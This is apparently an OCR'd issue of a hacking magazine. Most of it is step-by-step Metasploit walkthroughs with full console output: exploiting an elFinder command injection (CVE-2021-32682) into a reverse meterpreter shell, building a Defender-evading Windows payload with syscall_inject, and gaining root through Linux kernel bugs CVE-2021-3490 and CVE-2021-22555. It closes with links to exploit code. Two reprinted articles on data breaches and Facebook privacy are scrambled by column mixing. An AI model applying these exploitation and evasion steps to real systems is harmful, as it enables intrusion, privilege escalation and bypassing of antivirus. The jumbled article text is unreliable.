#### ElFinder CVE-2021-32682 Module

#### TARGET: ElFinder < v2.1.59 MODULE : Exploit

ANTI-MALWARE : NA

**TYPE: Remote** 

1

Elfinder is an open source file manager for web written in Javascript. The above mentioned versions of elFinder are vulnerable to a command injection vulnerability in archiving functionality. While creating a new zip archive with elFinder the `name` parameter is sanitized with the `escapeshellarg()` php function and then passed to the `zip` utility.

However, even though sanitization is present, an argument called `-TmTT` argument as part of the `name` parameter is allowed. This argument enables the execution of malicious commands with the privileges of `www-data` user. This vulnerability can be exploited remotely without the requirement of any authentication.

We have tested this on elFinder 2.1.58 running on Ubuntu 18. Let's set the target first. Download the above version and host it on a web server. The download information is given in the Downloads section of this same Issue.

🖾 Files:elFinder 2.1.x sourc 🗙	+		
← → ♂ ŵ	① 192.168.36.148/elFinder/elfinder.html#elf_l1_Lw	… 🛛 🏠	
			я я
<ul> <li>Places</li> <li>files</li> <li>Trash</li> </ul>	Folder is empty Drop to add items		
files			Items: 0, Sum: 0 b

The target is set. Load the elfinder\_archive\_cmd\_injection module.

<pre>msf6 &gt; search elfinder</pre>		
Matching Modules		
# Name	Chock	Description
	Спеск	Description -
0 exploit/multi/http	)/buildere	ngine upload exec 2
016-09-18 excellen	t Yes	BuilderEngine Arbitrary File Upload Vuln
erability and execution		
<pre>1 exploit/unix/webap</pre>	p/tikiwik:	i upload exec 2
016-07-11 excellen	t Yes	Tiki Wiki Unauthenticated File Upload Vu
lnerability		
<pre>2 exploit/multi/http</pre>	/wp file r	manager rce 2
020-09-09 normal	Yes	WordPress File Manager Unauthenticated R
emote Code Execution		
<pre>3 exploit/linux/http</pre>	/elfinder	_archive_cmd_injection 2
021-06-13 excellen	t Yes	elFinder Archive Command Injection
<pre>4 exploit/unix/webap</pre>	p/elfinde	<pre>php_connector_exiftran_cmd_injection 2</pre>

 $\underline{msf6} > use 3$ 

[\*] Using configured payload linux/x86/meterpreter/reverse\_tcp msf6 exploit(linux/http/elfinder\_archive\_cmd\_injection) > show options

Module options (exploit/linux/http/elfinder\_archive\_cmd\_injection):

Name	Current Setting	Required	Description
Proxies		no	A proxy chain of format type:ho
RHOSTS		yes	The target host(s), see https:/ /github.com/rapid7/metasploit-f ramework/wiki/Using-Metasploit
RPORT	80	yes	The target port (TCP)
SRVH0ST	0.0.0.0	yes	The local host or network inter face to listen on. This must be an address on the local machin e or 0.0.0.0 to listen on all a ddresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL/TLS for outgoing connections
SSLCert		no	Path to a custom SSL certificat e (default is randomly generate d)

Payload options (linux/x86/meterpreter/reverse tcp): Current Setting Required Description Name The listen address (an interface ma LHOST yes y be specified) The listen port LPORT 4444 yes Set all the required options as shown below and use check command to see if the target is indeed vulnerable. msf6 exploit(linux/http/elfinder archive cmd injection) > set rhosts 192.1 68.36.148 rhosts => 192.168.36.148 msf6 exploit(linux/http/elfinder\_archive\_cmd\_injection) > set targeturi /e lFinder/ targeturi => /elFinder/ msf6 exploit(linux/http/elfinder\_archive\_cmd\_injection) > check [\*] 192.168.36.148:80 - The target appears to be vulnerable. elFinder runn ing version 2.1.58 msf6 exploit(linux/http/elfinder\_archive\_cmd\_injection) > set lhost 192.16 8.36.171 lhost => 192.168.36.171 msf6 exploit(linux/http/elfinder\_archive\_cmd\_injection) > set lport 4411 lport => 4411 msf6 exploit(linux/http/elfinder archive cmd injection) > After all the options are set, execute the module. msf6 exploit(linux/http/elfinder\_archive\_cmd\_injection) > run [\*] Started reverse TCP handler on 192.168.36.171:4411 [\*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. elFinder running version 2.1.58 [\*] Uploading file fblCQ.txt to elFinder [+] Text file was successfully uploaded! [\*] Attempting to create archive znHeuADO.zip [+] Archive was successfully created! [\*] Using URL: http://0.0.0.0:8080/c3pBuCQTpK [\*] Local IP: http://192.168.36.171:8080/c3pBuCQTpK [\*] Client 192.168.36.148 (Wget/1.19.4 (linux-gnu)) requested /c3pBuCQTpK [\*] Sending payload to 192.168.36.148 (Wget/1.19.4 (linux-gnu)) [\*] Command Stager progress - 52.63% done (60/114 bytes) [\*] Command Stager progress - 71.93% done (82/114 bytes) [\*] Sending stage (984904 bytes) to 192.168.36.148 [+] Deleted fblCQ.txt [+] Deleted znHeuADO.zip [\*] Meterpreter session 2 opened (192.168.36.171:4411 -> 192.168.36.148:56 962) at 2021-12-27 06:35:41 -0500

As readers can see, a meterpreter session is opened successfully.

```
[*] Meterpreter session 2 opened (192.168.36.171:4411 -> 192.168.36.148:56
962) at 2021-12-27 06:35:41 -0500
[*] Command Stager progress - 83.33% done (95/114 bytes)
[*] Command Stager progress - 100.00% done (114/114 bytes)
[*] Server stopped.
meterpreter >
meterpreter >
meterpreter >
meterpreter > sysinfo
Computer : 192.168.36.148
       : Ubuntu 18.04 (Linux 4.15.0-29-generic)
0S
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > getuid
Server username: daemon @ ubuntu (uid=1, gid=1, euid=1, egid=1)
meterpreter >
```

#### <u>Windows Syscall\_Inject Evasion Module</u>

#### TARGET: Windows <= 20H2 MODULE : Evasion

TYPE: Local ANTI-MALWARE : Defender ON

Who told Metasploit payloads can no longer be undetectable? This module lets users create a Windows executable that injects a specific payload/shellcode in memory bypassing AVs Windows API hooking technique through direct syscalls. Syscalls are Windows System calls that are used for control of file systems, communication between processes etc.

However this module requires Mingw ( $x\overline{8}6_{64}$ )compiler to generate the source file as it requires the compiler's inline assembly to direct syscalls. Let's see how this module works.

We have tested this module on Windows 10 20H2 with Defender ON. Load the syscall\_inject module as shown below.

<pre>msf6 &gt; search syscall_inject</pre>				
Matching Modules				
<pre># Name ription</pre>	Disclosure Date	Rank	Check	Desc
<pre>0 evasion/windows/syscall_inject ct windows syscall evasion technique</pre>		normal	No	Dire

msf6 > use evasion/windows/syscall inject [\*] Using configured payload windows/x64/meterpreter/reverse tcp msf6 evasion(windows/syscall inject) > show options Module options (evasion/windows/syscall\_inject): Current Setting Required Description Name - - - chacha Shellcode encryption type (Accep CIPHER yes ted: chacha, rc4) Filename for the evasive file (d FILENAME SKJC.exe yes efault: random) Sleep time in milliseconds befor SLEEP 20000 no e executing shellcode Payload options (windows/x64/meterpreter/reverse\_tcp): Current Setting Required Description Name Exit technique (Accepted: '', se EXITFUNC process yes h, thread, process, none) The listen address (an interface LHOST yes may be specified) The listen port yes LPORT 4444 Evasion target: Id Name Microsoft Windows (x64) 0 msf6 evasion(windows/syscall\_inject) > Set all the required options as shown below and execute the module. msf6 evasion(windows/syscall inject) > set sleep 10000 sleep => 10000 msf6 evasion(windows/syscall\_inject) > set lhost 192.168.36.171 lhost => 192.168.36.171 msf6 evasion(windows/syscall\_inject) > run [+] SKJC.exe stored at /home/kali/.msf4/local/SKJC.exe msf6 evasion(windows/syscall\_inject) >



When the payload is executed on the target system, we successfully get a meterpreter session as sh -own below.

```
msf6 evasion(windows/syscall_inject) > handler -p windows/x64/meterpreter/
reverse_tcp -H 192.168.36.171 -P 4444
[*] Payload handler running as background job 0.
[*] Started reverse TCP handler on 192.168.36.171:4444
msf6 evasion(windows/syscall_inject) > [*] Sending stage (200262 bytes) to
192.168.36.214
[*] Meterpreter session 1 opened (192.168.36.171:4444 -> 192.168.36.214:65
110) at 2021-12-27 05:16:42 -0500
```

<pre>msf6 evasion(windows/syscall_inject) &gt; sessions</pre>								
Activ	Active sessions							
Id  1	Name	Type  meter ndows	preter x64/wi	Information DESKTOP-KKEU8D6\adm in @ DESKTOP-KKEU8D	Connection 192.168.36.171:4444 > 192.168.36.214:			
				6	65110 (192.168.36.2 14)			
<u>msf6</u> [*] S <sup>.</sup>	evasion tartino	n( <mark>wind</mark> g inte	<mark>ows/syscall_in</mark> raction with 1	<pre>ject) &gt; sessions -i 1</pre>				
meter	preter	> sys	info					
Compu	ter	:	DESKTOP-KKEU8	D6				
0S	OS : Windows 10 (10.0 Build 19042).							
Archi	Architecture : x64							
Syster	System Language : en_US							
	d On He	i erc	WUKKUKUUP 2					
Meter	preter	:	x64/windows					

#### Linux CVE-2021-3490 LPE Module

### TARGET: Ubuntu 21.04, Ubuntu 20.10, Fedora 32TYPE: LocalMODULE : PEANTI-MALWARE : NA

The vulnerability ID CVE-2021-3490 is given to the bounds checking vulnerability in eBPF ALU32. The eBPF ALU32 bounds tracking for bitwise ops (AND, OR and XOR) in the Linux kernel is not proper and as a result, it could be turned into out of bounds reads and writes and henc -e in malicious code execution and that too with root privileges. Clean installs of above mentioned operating systems are vulnerable.

We have tested this on a clean install of Ubuntu 21.04. Let's see how this module works. Since this is a privilege escalation module, we need to get a shell with low privileges on the target first.

```
OS : Ubuntu 21.04 (Linux 5.11.0-16-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > getuid
Server username: user1 @
ubuntu21-04 (uid=1000, gid=1000, euid=1000, egid=
1000)
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) >
```

Background the current session with low privileges and load the ebpf\_alu32\_bounds\_check\_lpe module as shown below.

msf6 exploit(multi/handler) > search alu32 Matching Modules \_\_\_\_\_ Discl # Name osure Date Rank Check Description - ---. . . . . 0 exploit/linux/local/cve 2021 3490 ebpf alu32 bounds check lpe 2021great Yes Linux eBPF ALU32 32-bit Invalid Bounds Tracking 05-11 LPE Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/local/cve 2021 3490 ebpf alu32 bounds check lpe msf6 exploit(multi/handler) > use 0 [\*] No payload configured, defaulting to linux/x64/meterpreter/reverse tcp msf6 exploit(linux/local/cve\_2021\_3490\_ebpf\_alu32\_bounds\_check\_lpe) > show options Module options (exploit/linux/local/cve 2021 3490 ebpf alu32 bounds check lpe): Name Current Setting Required Description CmdTimeout 120 Maximum number of seconds to w yes ait for the exploit to complet The session to run this module SESSION yes on. Payload options (linux/x64/meterpreter/reverse tcp): Current Setting Required Description Name The listen address (an interface ma LH0ST 192.168.36.171 yes y be specified) The listen port LPORT 4444 yes

Set the session ID of the meterpreter with low privileges and use check command to see if the target is indeed vulnerable.

msf6 exploit(linux/local/cve\_2021\_3490\_ebpf\_alu32\_bounds\_check\_lpe) > chec
k

[+] Unprivileged BPF loading is permitted
[+] Kernel version 5.11.0-16-generic appears to be vulnerable
[+] Kernel config has CONFIG\_BPF\_SYSCALL enabled
[\*] The target appears to be vulnerable.
msf6 exploit(linux/local/cve 2021 3490 ebpf alu32 bounds check lpe) >

Set all the options and execute the module.

msf6 exploit(linux/local/cve\_2021\_3490\_ebpf\_alu32\_bounds\_check lpe) > set lport 4466 lport => 4466 msf6 exploit(linux/local/cve 2021 3490 ebpf alu32 bounds check lpe) > run [\*] Started reverse TCP handler on 192.168.36.171:4466 [\*] Running automatic check ("set AutoCheck false" to disable) [+] Unprivileged BPF loading is permitted [+] Kernel version 5.11.0-16-generic appears to be vulnerable [+] Kernel config has CONFIG BPF SYSCALL enabled [+] The target appears to be vulnerable. [\*] Dropping pre-compiled exploit on system... [\*] Writing '/tmp/.ZTqswg' (39400 bytes) ... [\*] Writing '/tmp/.WzeRwddMRq' (207 bytes) ... [\*] Launching exploit... [!] Note that things may appear to hang due to the exploit not exiting. [!] Feel free to press CTRL+C if the shell is returned before 300 seconds are up. [\*] Transmitting intermediate stager...(106 bytes) [\*] Sending stage (984904 bytes) to 192.168.36.213 [+] Exploit completed successfully, shell should be returning soon! [+] Deleted /tmp/.ZTqswg [+] Deleted /tmp/.WzeRwddMRq [\*] Meterpreter session 2 opened (192.168.36.171:4466 -> 192.168.36.213:56 234) at 2021-12-26 09:14:47 -0500 meterpreter > sysinfo Computer : 192.168.36.213 0S : Ubuntu 21.04 (Linux 5.11.0-16-generic) Architecture : x64 BuildTuple : i486-linux-musl Meterpreter : x86/linux meterpreter > getuid Server username: root @ ubuntu21-04 (uid=0, gid=0, euid=0, egid=0) meterpreter >

meterpreter > sysinfo Computer : 192.168.36.213 : Ubuntu 21.04 (Linux 5.11.0-16-generic) **0**S Architecture : x64 BuildTuple : i486-linux-musl Meterpreter : x86/linux meterpreter > getuid Server username: root @ ubuntu21-04 (uid=0, gid=0, euid=0, egid=0) meterpreter > whoami [-] Unknown command: whoami meterpreter > shell Process 2954 created. Channel 1 created. whoami root

As readers can see, we successfully have a meterpreter session with root privileges this time.

#### Linux CVE-2021-22555 Netfilter LPE Module

**TARGET:** Ubuntu 20.04.1 kernels 5.8.0-53, 5.8.0-50, 5.8.0-49, 5.8.0-48, 5.8.0-29, 5.8.0-28, 5.8.0-25, 5.8.0-23

**TYPE: Local** 

MODULE : PE

#### **ANTI-MALWARE : NA**

Netfilter is a framework in the Linux kernel that offers functions like packet filtering, network address translation, and port translation. Netfilter Xtables in the above mentioned versions of Ubuntu has a heap out-of-bounds vulnerability that can result in privilege escalation or Denial Of Service.

This vulnerability arises when a function memset() is called allowing messages in the MSGMNI queue to reference a pointer that has been written by the exploit, resulting in malicious code execution.

We have tested this exploit module on Ubuntu 20.04.1 with kernel 5.8.0-23. Let's see how this module works. As it is a privilege escalation module, we need to have a meterpreter session with low privileges on the target system as shown below.

<u>meterpreter</u> > sysinfo				
Computer : 192.168.40.137				
OS : Ubuntu 20.04 (Linux 5.8.0-23-generic)				
Architecture : x64				
BuildTuple : x86 64-linux-musl				
Meterpreter : x64/linux				
meterpreter > getuid				
Server username: user1 <				
<pre>meterpreter &gt; background</pre>				
<pre>[*] Backgrounding session 1</pre>				

This module needs an external exploit to work. If this module is run without specifying the extern -al exploit, it will result in an error as shown below.

```
msf6 exploit(linux/local/netfilter_xtables_heap_oob
_write_priv_esc) > set session 1
session => 1
msf6 exploit(linux/local/netfilter_xtables_heap_oob
_write_priv_esc) > check
[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_railgun_api
[-] Exploit failed: Errno::ENOENT No such file or directory @ rb_sys
open - /usr/share/metasploit-framework/external/source/exploits/CVE-
2021-22555/exploit.c
[-] Check failed: The state could not be determined.
msf6 exploit(linux/local/netfilter_xtables_heap_oob
_write_priv_esc) > []
```

The download information the CVE-2021-22555 exploit is given in our Downloads section. The exploit should be saved in the exact path the module is searching for it in. i.e the path /user/share/metasploit-framework/external/source/exploits/CVE-2021-22555 directory. If these don't exist we should create them manually.

```
*~/Desktop/exploit.c - Mousepad
6
                                                                     🕘 🔘 🗙
File Edit Search View Document Help
🗗 🛨 🚽 🖥 🖻 × 🖆 ሮ 🗶 ቦ 🖆 🖉 🕰
                                                                         23
 1 /*
 2 * CVE-2021-22555: Turning \x00\x00 into 10000$
 3 * by Andy Nguyen (theflow@)
 4
 5 * theflow@theflow:~$ gcc -m32 -static -o exploit -Wall exploit.c
 6 * theflow@theflow:~$ ./exploit
 7 * [+] Linux Privilege Escalation by theflow - 2021
 8
 9 * [+] STAGE 0: Initialization
10 * [*] Setting up namespace sandbox ...
11 * [*] Initializing sockets and message queues...
12 *
13 * [+] STAGE 1: Memory corruption
14 * [*] Spraying primary messages ...
15 * [*] Spraying secondary messages ...
16 * [*] Creating holes in primary messages ...
17 * [*] Triggering out-of-bounds write ...
18 * [*] Searching for corrupted primary message ...
19 * [+] fake_idx: ffc
20 * [+] real_idx: fc4
21 *
22 * [+] STAGE 2: SMAP bypass
23 * [*] Freeing real secondarv message...
```

(kali@kali)-[/usr/.../external/source/exploits/CVE-2021-22555]
\$ sudo cp /home/kali/Desktop/exploit.c /usr/share/metasploit-frame
work/external/source/exploits/CVE-2021-22555

## (kali@ kali) - [/usr/.../external/source/exploits/CVE-2021-22555] s ls exploit.c

Once the exploit is placed in the directory, background the low privileged meterpreter session and load the netfilter\_xtables\_heap\_oob\_write\_privesc module.

msf6 exploit(multi/handler) > search xtables

Matching Modules

# Name

Disclosure Date Rank Check Description

- ---

0 exploit/linux/local/netfilter\_xtables\_heap\_oob\_write\_priv\_e sc 2021-07-07 great Yes Netfilter x\_tables Heap 00B Wr ite Privilege Escalation

```
Interact with a module by name or index. For example info 0, use
0 or use exploit/linux/local/netfilter_xtables_heap_oob_write_pri
v_esc
```

```
msf6 exploit(multi/handler) > use 0
[*] No payload configured, defaulting to linux/x64/meterpreter/rever
se_tcp
msf6 exploit(linux/local/netfilter_xtables_heap_oob
write_priv_esc) > show options
```

Module options (exploit/linux/local/netfilter\_xtables\_heap\_oob\_write
\_priv\_esc):

Name	Current Setting	Required	Description
CmdTimeout	10	yes	Maximum number of secon ds to wait for the expl oit to complete
SESSION		yes	The session to run this module on
WritableDir	/var/tmp	yes	Directory to write pers istent payload file.

Payload options (linux/x64/meterpreter/reverse tcp): Current Setting Required Description Name LHOST 192.168.40.130 The listen address (an interf yes ace may be specified) LPORT 4444 The listen port yes Exploit target: Name Id Automatic 0 Set the session ID and execute the module. msf6 exploit(linux/local/netfilter\_xtables heap oob \_write\_priv\_esc) > run [!] SESSION may not be compatible with this module: [!] \* missing Meterpreter features: stdapi railgun api [\*] Started reverse TCP handler on 192.168.40.130:4444 [\*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Target is running kernel re lease 5.8.0-23-generic. [\*] Dropping pre-compiled binaries to system... [\*] Writing '/var/tmp/WBJjmp2c7' (734660 bytes) ... [\*] Uploading payload... [\*] Writing '/var/tmp/ERiFcM' (250 bytes) ... [\*] Running payload on remote system... [\*] Sending stage (3012548 bytes) to 192.168.40.137 [+] Deleted /var/tmp/WBJjmp2c7 [+] Deleted /var/tmp/ERiFcM [\*] Meterpreter session 2 opened (192.168.40.130:4444 -> 192.168.40. 137:50700 ) at 2022-01-13 11:16:17 -0500 [\*] Payload executed! meterpreter > getuid Server username: root meterpreter > sysinfo Computer : 192.168.40.137 : Ubuntu 20.04 (Linux 5.8.0-23-generic) **0**S Architecture : x64 BuildTuple : x86 64-linux-musl Meterpreter : x64/linux

We have another meterpreter session. As readers can see this is a meterpreter session with root privileges.

```
msf6 exploit(linux/local/netfilter_xtables_heap_oob
_write_priv_esc) > sessions
Active sessions
______
                                                 Connection
           Туре
                              Information
     Name
  Id
                              user1 @ 192.168.4
            meterpreter x64/
                                                 192.168.40.130:44
  1
                                                 44 -> 192.168.40.
            linux
                              0.137
                                                 137:50668
                                                            (192.1
                                                 68.40.137)
                              root @ 192.168.40
                                                 192.168.40.130:44
            meterpreter x64/
  2
                              .137
                                                 44 -> 192.168.40.
            linux
                                                 137:50700 (192.1
```

msf6 exploit(linux/local/netfilter\_xtables\_heap\_oob
\_write\_priv\_esc) >

#### How Vulnerable is your Personal Information? 4 Essential Reads ONLINE SECURITY

Eric Smalley Science + Technology Editor

When you enter your personal information or credit card number into a website, do you have a moment of hesitation? A nagging sense of vulnerability prompted by the parade of headlin -es about data breaches and hacks? If so, you probably push those feelings aside and hit the submit button, because, well, you need to shop, apply for that job, file that insurance claim, apply for that loan, or do any of the other sensitive activities that take place online these days.

First, the bad news. If you regularly enter sensitive information online, chances are you've had some data stolen somewhere at some point. By one estimate, the average American had data stolen at least four times in 2019. And the hits

keep coming. For instance, a data breach at the wireless carrier T-Mobile reported in August 2021 affected 100 million people.

68.40.137)

Now for some good news. Not all hacks are the same, and there are steps you can take to protect yourself. The Conversation gathered four articles from our archives that illuminate the types of threats to your online data, what data thieves do with your stolen information, and what you can do about it.

#### 1. Take stock of your risk

Not all cyberattacks are the same, and not all personal data is the same. Was an organization that has your information the victim of a ransom -ware attack? Chances are your information won 't be stolen, though the organization's copy of it could be rendered unusable.

If an organization you deal with did have

customer data stolen, what data of yours did the -security management, and Rusty Baldwin, a resthieves get? Merrill Warkentin, a professor of information systems at Mississippi State Universit ersity of Dayton, write that there are steps you -y , writes that you should ask yourself some questions to assess your risk. If the stolen data was your purchase history, maybe that won't be used to hurt you. But if it was your credit card number, that's a different story.

kerages and any site that retains your credit card services. Use different passwords for different sitnumber," he wrote. In addition to using unique passwords and two-factor authentication, "you should also consider closing old unused account no longer available."

#### 2. The Market for your stolen data

Most data breaches are financial crimes, but the device that uses public-key encryption, they

hackers generally don't use the stolen data them -selves. Instead, they sell *data, so much so that your information is* it on the black market, usually via websites on the dark web, for other criminals and scammers to use.

bly worth a lot less than you would guess. For example, stolen PayPal account information goe- -d by data thieves. s for \$30.

Ravi Sen, an associate professor of information and operations management at Texas A&M University. Common uses are stealing your mon an State University, found that the average perso -ey or identity. "Credit card numbers and securit -n is as good as a cybersecurity expert at sensing -y codes can be used to create clone cards for m when something is weird about an email messag -aking fraudulent transactions," he writes. "Social -e.The trick to protecting yourself from phishing Security numbers, home addresses, full names, dates of birth and other personally identifiable information can be used in identity theft."

#### 3. How To Prepare For The Inevitable

With all this bad news, it's tempting to throw up your hands and assume there's nothing you can do. W. David Salisbury, a professor of cyber-

earch professor of computer science at the Univcan take to protect yourself.

"Think defensively about how you can protect yourself from an almost inevitable attack, rather than assuming you'll avoid harm," they write.

The key is focusing on the information that's mo Data breaches are a good opportunity "to -st important to protect. Uppermost are your paschange your passwords, especially at banks, bro- swords, particularly for banking and government es, and use long – though not necessarily compli -cated – passwords, they write.

The most effective way to protect your data -s so that the information associated with them is is to add another layer of security via multifactor authentication. And rather than rely on websites to text or email you authentication codes, which can be hijacked, you should use an app or USB "This black market is awash in personal 4. Don't Make It Easy

For The Thieves

probably worth a lot less than you would The risk to your persguess. For example, stolen PayPal account onal information isn't ju--st having it stolen from information goes for \$30." a third party. Phishing attacks can This black market is awash in personal get you to do the thieves' work for them. These data, so much so that your information is proba- emails fool peo- ple into entering personal information and passwords on fake websites controlle

It turns out that you're probably pretty good Buyers use stolen data in several ways, writes at sensing when something is off about an email message. Rick Wash, an associate professor of information science and cybersecurity at Michigattacks is remembering that phishing exists and could explain what you're sensing about an ema -il message. "The people who were good at notic -in g phishing messages reported stories about specific phis- hing incidents they had heard abou -t," he wrote. "Familiarity with specific phishing incidents helps people remember phishing generally."

This Article first appeared in The Conversation

#### Facebook : Latest Case shows how Europe is clamping down on Big tech. CYBER SECURITY

**Renaud Foucart** Senior Lecturer in Economics, Lancaster University Management School, Lancaster University.

Facebook's approach to users' data has just been dealt a major blow from the European court of justice (ECJ). In an answer to a question from Germany's highest court, the ECJ's advoca -te general – whose opinion is not binding but is generally followed by the court – has made an law to confirm that consumer associations can individuals.

easier for people to defendgeneral framework to clarify the rules. limit people's protection if their rights against tech giants in future. Coming on the back of a decision by the European general court against Google several weeks ago for using its platform power to restrict competitors, it is the latest example of European regulators making the business climate increasingly chilly for the companies that control our data – in shar -ta without seeking users' consent. -p contrast to the US.

#### **Facebook and Consent.**

The current case is about the way that Facebook, now known as Meta, in its early years encouraged users to play quizzes and games such as FarmVille, before sharing the results with al -l their friends. In an action brought by the Federation of Germany Consumer Organisations (VZBV), that was originally heard in 2014, it claimed that Facebook's data protection notice did not clearly explain to users how their data

could be shared. It wants the company to be forbidden from using similar consent forms in futur -e.

VZBV won the original case and on appeal, before it was heard by Germany's highest court in May 2020. The judges agreed that Facebook had misled users with the notice, but sought an opinion from the ECJ on Facebook's argument that only individuals and not consumer organisat -ions can bring complaints under the EU's General Data Protection Regulation (GDPR), which governs this area.

The advocate general's recommendation, ahead of a final ECJ decision in 2022, reflects thessential clarification to Europe's data protection e fact that individuals do not typically start legal proceedings against large companies for a small bring actions on behalf of As Facebook and other social media breach of a rather technical companies have continued to develop new on bobalf of gradients If followed by the ECJ, techniques to harvest consumer data, the what consumers' organi this will make it much GDPR was adopted by the EU in 2018 as a -sations do, so it would

Facebook's approach to games is not the only time there have been questions about how it obtai -ned users' consent over data. It famously sent unsolicited emails to users' contacts when they joined the social network. It also placed "like" buttons on third party websites and harvested the da

One by one, national European regulators have ruled these practices illegal, but always long after the fact. When Facebook was ordered to pay £85,138 by German regulators in 2016 for se -nding unsolicited emails, for instance, it was clearly too late to affect the company's behaviour on that individual issue.

VZBV has been at the forefront of fighting to make tech giants accountable for customer data since the early 2010s, though not always suc -cessfully. It failed in an attempt to stop Facebook claiming its platform is "free and will always be", while making users pay with their pr ivate data. It was unable to require the company

to allow users to adopt a pseudonym. Facebook just ordered Facebook/Meta to sell Giphy, the had resisted citing safety concerns, but perhaps also because data on identifiable consumers is more valuable than anonymous ones.

#### The GDPR and future regulations

As Facebook and other social media companies ming the de facto global standard because to be have continued to develop new techniques to ha allowed to operate in Europe (which generates a -rvest consumer data, the GDPR was adopted by quarter of Facebook's annual profits), global tecthe EU in 2018 as a general framework to clarify h often has to obey the stricter European rules the rules. It gives users more control and rights over their own data, requiring clear consent before it can be used.

Pending a decision on consumer organisations, but give away their data in exchange for almost the ECJ has already recently decided that nation nothing, and the government should protect theal privacy watchdogs can directly fine tech firms m. American regulators consider this patronising under the GDPR for breaches affecting their citi- with the Supreme Court ruling almost 20 years zens. Facebook had claimed only the Irish autho ago that a dominant firm is free to exploit its con -rity was competent, since its EU headquarters are there. A forthcomi "Meta is still free to make money out of their has provoked some -ng ECJ case will look at existing Facebook users in Europe. But as giving similar powers to younger generations leave Facebook for the ultimately struggle to

likes of TikTok and Snapchat, it faces secure meaningful changes The EU rules around increasing difficulties " to the rules around data and contbig tech are also set to be strengthened in 2022 with the Digital Services ent.

Act and Digital Markets Act. This package of ex -tra restrictions is set to include curbing the unco following the path of the EU, the US is becomin--ntrolled spread of unverified and often hateful g increasingly isolated in this area. Meta is still content, with the potential for penalties of 10% of free to make money out of their existing Facea company's annual revenue.

protection rules after Brexit, the forthcoming UK Snapchat, it faces increasing difficulties in reachi Online Safety Bill goes arguably even further in -ng them and gathering the necessary informatio the same direction, with not only similar fines bu -n to sell their profiles to advertisers. It may ther--t potential prison sentences for executives over efore be time for companies like Facebook to breaches. The bill may even make Facebook res find new sources of revenue. -ponsible for scams by other companies advertisi -ng on the platform.

Major EU countries such as Germany, France and the Netherlands also want the Digita -l Services Act to block what has become big tech's major strategy to attract new users: identiffying non-profitable but successful internet comp -anies, and buying their technology and user base. The UK is now decisively on the same path, as the Competition and Market Authority

largest repository of GIFs on the internet, which it bought in 2020 for US\$400 million (£301 million).

European regulators are therefore unravelling tech giants' business models one decision after the other. European data regulation is also becoacross the board.

The European logic is that harvesting private data is often a rip-off. People care about privacy -sumers. Recent whistleblower Frances Haugen

soul searching in the

US, but will probably

With the likes of the UK now strongly book users in Europe. But as younger generatio-And for all the talk of a bonfire of EU data ns leave Facebook for the likes of TikTok and

> **The Article first** appeared **1n** The **Conversation.**

### DOWNLOADS

1. Apache Log4shell JNDI Exploit : https://github.com/black9/Log4shell\_JNDIExploit

> 2. Kali Linux 2021.4 : https://www.kali.org/get-kali/

3. Git 2.28.0 for Windows : https://github.com/git-for-windows/git/releases/download/v2.28.0.windows.1/Git-2.28.0-64-bit.exe

4. Git 2.30.1 for Windows : <u>https://github.com/git-for-windows/git/releases/download/v2.30.1.windows.1/Git-</u> <u>2.30.1-64-bit.exe</u>

> 5. Linux elFinder : https://github.com/Studio-42/elFinder/archive/2.1.58.zip

6. CVE-2021-22555 exploit : https://github.com/bcoles/kernel-exploits/blob/master/CVE-2021-22555/exploit.c

### **USEFUL RESOURCES**

Check whether your email is a part of any data breach

https://haveibeenpwned.com

Follow Hackercool Magazine For Latest Updates

